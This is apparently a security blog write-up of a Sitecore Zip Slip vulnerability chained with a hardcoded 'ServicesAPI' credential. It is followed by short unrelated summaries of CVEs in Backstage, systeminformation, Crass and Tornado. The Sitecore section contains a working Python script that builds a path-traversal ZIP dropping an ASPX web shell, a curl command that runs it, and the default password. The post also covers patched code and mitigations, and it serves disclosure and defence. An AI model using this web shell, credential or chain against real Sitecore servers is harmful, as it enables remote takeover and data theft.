Jan 30, 2026·6 min read·44 visits
Sitecore contains a classic Zip Slip vulnerability in its file upload logic. By uploading a malicious ZIP file, an attacker can overwrite files anywhere on the system. Worse, a hardcoded account (`sitecore\ServicesAPI` : `b`) allows unauthenticated attackers to log in and exploit this, granting full System/IIS access.
A critical Zip Slip vulnerability in Sitecore Experience Platform allows for Remote Code Execution. When chained with a ridiculous hardcoded credential vulnerability (CVE-2025-34509), this becomes a trivial pre-authentication RCE chain affecting enterprise-grade CMS installations worldwide.
If you've spent any time in the corporate web development world, you know Sitecore. It's the beast of a CMS that powers massive enterprise sites, costing roughly the GDP of a small island nation to license and maintain. You expect a fortress. You expect rigorous security development lifecycles. You do not expect a vulnerability class from the 1990s combined with a password that looks like a typo.
Meet CVE-2025-34510. It's a Zip Slip vulnerability. Yes, the thing where you put ../../ in a filename inside a ZIP archive, and the server blindly extracts it outside the intended folder. It is arguably one of the most embarrassing bugs to find in modern software because it implies the developer simply forgot that file paths can be malicious.
But wait, it gets better. Usually, this upload endpoint is behind authentication. Safe, right? Not when the developers leave a hardcoded user named sitecore\ServicesAPI with the password b (yes, just the letter 'b') active in default installations. This turns a post-auth vulnerability into a pre-auth Remote Code Execution (RCE) party.
The vulnerability lives in the heart of Sitecore's content management interface, specifically within the uiUpload pipeline. This pipeline handles files uploaded via the Upload2.aspx endpoint, typically used by content editors to bulk upload media assets.
The logic flow looks something like this:
/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx.Unzip=1.Save processor (Sitecore.Pipelines.Upload.Save) kicks in.Unzip flag and passes the stream to a helper class, Sitecore.Shell.Applications.Dialogs.Upload.UploadPage2.The flaw is a textbook lack of input sanitization. When the application iterates through the files inside the ZIP archive, it reads the ZipEntry.Name property. A malicious archive can contain a file named ../../../../inetpub/wwwroot/shell.aspx. The application takes the destination folder (usually a temp dir) and simply concatenates this malicious name.
Because the code fails to canonicalize the path (e.g., check Path.GetFullPath()) to ensure it stays within the target directory, the file system API happily resolves the .. sequences and writes the file to the web root. Game over.
Let's look at what this looks like in C# pseudo-code. This isn't the exact proprietary source, but it represents the logic flow identified by researchers.
// The 'Save' processor logic
foreach (ZipEntry entry in zipFile)
{
// DANGER: entry.Name is trusted user input
string targetPath = Path.Combine(uploadFolder, entry.Name);
// The application just writes to targetPath.
// If entry.Name is "../../shell.aspx", targetPath becomes
// "C:\inetpub\wwwroot\sitecore\upload\..\..\shell.aspx"
// which resolves to "C:\inetpub\wwwroot\shell.aspx"
using (FileStream stream = File.Create(targetPath))
{
// ... write data ...
}
}The patch involves canonicalizing the path and checking if it starts with the intended directory. This is the standard mitigation for Zip Slip.
// The patched logic
foreach (ZipEntry entry in zipFile)
{
string targetPath = Path.Combine(uploadFolder, entry.Name);
string fullPath = Path.GetFullPath(targetPath);
// Security Check: Does the resolved path still start with the upload folder?
if (!fullPath.StartsWith(Path.GetFullPath(uploadFolder)))
{
throw new SecurityException("Zip Slip attempt detected!");
}
// Safe to write
// ...
}It is baffling that in 2025, frameworks still don't handle this automatically, or that developers miss this check during code review.
Now for the fun part. How do we turn this into a shell? If you are an outsider, you can't access /sitecore/shell/... because of IIS authorization rules. But remember the backdoor credential?
Here is the full kill chain:
Authentication (CVE-2025-34509):
We send a POST request to /sitecore/admin/login.aspx. This endpoint is often less protected than the main shell login. We use the user sitecore\ServicesAPI and the password b. The server responds with an .AspNet.Cookies session cookie. We are now authenticated as a user who, while limited in the UI, has valid session access.
Bypass Access Controls:
With our valid session cookie, IIS allows us to access /sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx. The authorization rules see a valid ticket and let us through.
Weaponize the Archive: We create a python script to generate a malicious ZIP. We don't just want to drop a text file; we want a web shell.
import zipfile
z = zipfile.ZipFile('exploit.zip', 'w')
# Traverse back to webroot and drop the shell
z.writestr('../../../../../inetpub/wwwroot/sitecore/shell/pwn.aspx', '<%@ Page Language="C#" %> <% System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["c"]); %>')
z.close()Delivery:
We POST the exploit.zip to Upload2.aspx, ensuring we set Unzip=1 in the multipart form data.
Execution:
We simply curl https://target.com/sitecore/shell/pwn.aspx?c=whoami. The server executes the ASPX file we just planted, and returns nt authority\system (or whatever the AppPool identity is).
This is a System-Ending Event. Sitecore usually runs with significant privileges on Windows Servers to handle file I/O, media processing, and database connections.
Consequences:
web.config means access to database connection strings (SQL Server). The attacker can dump the entire customer database, user credentials, and content.The fact that this is exploitable via a hardcoded credential makes it scriptable. Expect automated scanners to pick this up immediately.
If you are running Sitecore XP, XM, or XC versions 9.x or 10.x, you are likely vulnerable.
Immediate Steps:
sitecore\ServicesAPI. If it exists, change the password to a 64-character random string or disable the account entirely. Do not ignore this step. Patching the Zip Slip fixes the file write, but leaving a known account active is suicidal.Upload2.aspx from external IPs, and inspect multipart/form-data for filenames containing ../ or ..\ sequences (though this can be tricky with encoding)./sitecore/admin is not accessible from the public internet. This breaks the easy authentication path for the exploit chain.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Sitecore Experience Platform Sitecore | 9.0 - 10.4 | Hotfix KB1003667 |
| Attribute | Detail |
|---|---|
| CVSS | 8.8 (High) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-23 (Relative Path Traversal) |
| EPSS Score | 0.808 (High) |
| Attack Vector | Network (Authenticated via Bypass) |
| Exploit Status | PoC Available / Weaponized |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
CVE-2026-115923 (GHSA-w658-mh9p-ww8f) is a path traversal and access control bypass vulnerability in Spotify's Backstage developer portal framework, specifically within the @backstage/plugin-catalog-backend package. Prior to patched versions, DefaultCatalogRulesEnforcer evaluated user-supplied URL catalog locations against configured catalog.rules patterns using raw, uncanonicalized strings. Because downstream URL readers canonicalize URLs and resolve dot segments before fetching resources, an authenticated attacker with location registration permissions can supply percent-encoded traversal sequences (such as %2e%2e) to bypass location restrictions and register untrusted catalog entities.
CVE-2026-116576 (GHSA-3f7j-7jwc-fxfj) is an OS Command Injection vulnerability (CWE-78) in the Node.js systeminformation library prior to version 5.33.16 on Microsoft Windows. The services() API function dynamically constructs a PowerShell Get-CimInstance command using caller-supplied service names passed through sanitizeShellString(). While the sanitizer strips standard ASCII quotation marks, it permits Unicode typographic quotation marks (U+2018 through U+201E). Because the Windows PowerShell tokenizer recognizes Unicode quotation marks as valid string literal delimiters, an attacker who controls the service name input can break out of the CIM filter string and execute arbitrary PowerShell commands within the security context of the Node.js process.
An interpretation conflict vulnerability (CWE-436) exists in the Ruby CSS parser library Crass prior to version 1.0.8. When consuming the remnants of a malformed URL token, the tokenizer erroneously checks the previously consumed character to determine if a valid escape sequence is present. Consequently, a closing parenthesis immediately following an escaped backslash sequence is treated as escaped by Crass, while spec-compliant web browsers treat the closing parenthesis as the end of the bad URL token. Downstream CSS sanitizers such as Sanitize, Loofah, and rails-html-sanitizer that rely on Crass to parse and reserialize untrusted CSS can be bypassed to inject arbitrary CSS declarations, style rules, and external @import directives.
Tornado versions prior to 6.6.0 contain an inefficient algorithmic complexity vulnerability in the HTTP header parser. When processing requests with obsolete line folding (obs-fold), the HTTPHeaders.parse_line method repeatedly concatenates immutable Python strings within a list structure. An unauthenticated remote attacker can send an HTTP request containing thousands of short header continuation lines to trigger quadratic O(N^2) CPU consumption on the main IOLoop thread, starving concurrent connections and resulting in a denial of service.
Tornado versions prior to 6.6.0 contain an open redirect vulnerability (CWE-601) in tornado.web.RedirectHandler. When route templates incorporate regular expression capture groups at the start of a path, directly after a fixed host without a trailing slash, or at the beginning of a destination template, unvalidated URL-decoded parameters allow attackers to manipulate the redirect scheme or network location. Because modern browsers normalize URLs according to the WHATWG specification—treating backslashes as forward slashes and stripping control characters—attackers can bypass naive prefix checks and redirect victims to arbitrary external domains.
Tornado versions prior to 6.6.0 contain an uncontrolled resource consumption vulnerability (CWE-400) in the HTTP/1.1 chunked transfer encoding parser. When processing incoming chunked payloads that have already buffered in the socket read buffer, Tornado parses chunks in a tight synchronous loop without yielding to the event loop. Furthermore, non-streaming request handlers and SimpleAsyncHTTPClient store each chunk as a discrete Python bytes object inside a list, inducing an approximately 20-fold memory overhead for 1-byte chunks.